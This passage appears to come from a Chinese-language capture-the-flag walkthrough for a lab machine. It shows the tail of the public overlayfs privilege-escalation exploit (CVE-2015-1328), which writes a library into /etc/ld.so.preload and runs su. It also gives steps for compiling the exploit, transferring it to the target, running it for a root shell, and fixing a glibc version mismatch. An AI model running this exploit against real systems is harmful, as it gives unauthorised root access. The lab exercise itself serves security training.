lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
*/
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
在本地編譯 gcc -o exp 37292.c
並將 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
與 編譯後的 exp
一起傳送到目標,可以使用 ssh
傳送或 Python HTTP 服務結合 wget
傳送;如果方法不熟悉建議練習後嘗試
為 exp
與 ofs-lib.so
增加可執行許可權,將 ofs-lib.so
移動到靶機 \tmp
目錄,並執行 ./exp
即可得到 root 許可權
john@socnet:~$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
# id
uid=0(root) gid=0(root) groups=0(root),1001(john)
#
如果出現下面錯誤,是你 kali 上編譯時的 /lib/x86_64-linux-gnu/libc.so.6
動態庫高於靶機的
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
解決方法是在靶機中使用 ldd --version
命令確定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然後去相關官網搜尋 2.19-0ubuntu6
下載其對應版本的庫檔案,此靶機適用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
下載解壓,在其中的 /lib/x86_64-linux-gnu/libc.so.6 確認其存在,編譯 C 時使用 gcc 引數 -Ldir
指定上面的 libc.so.6 的路徑,解決的編譯命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
# ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.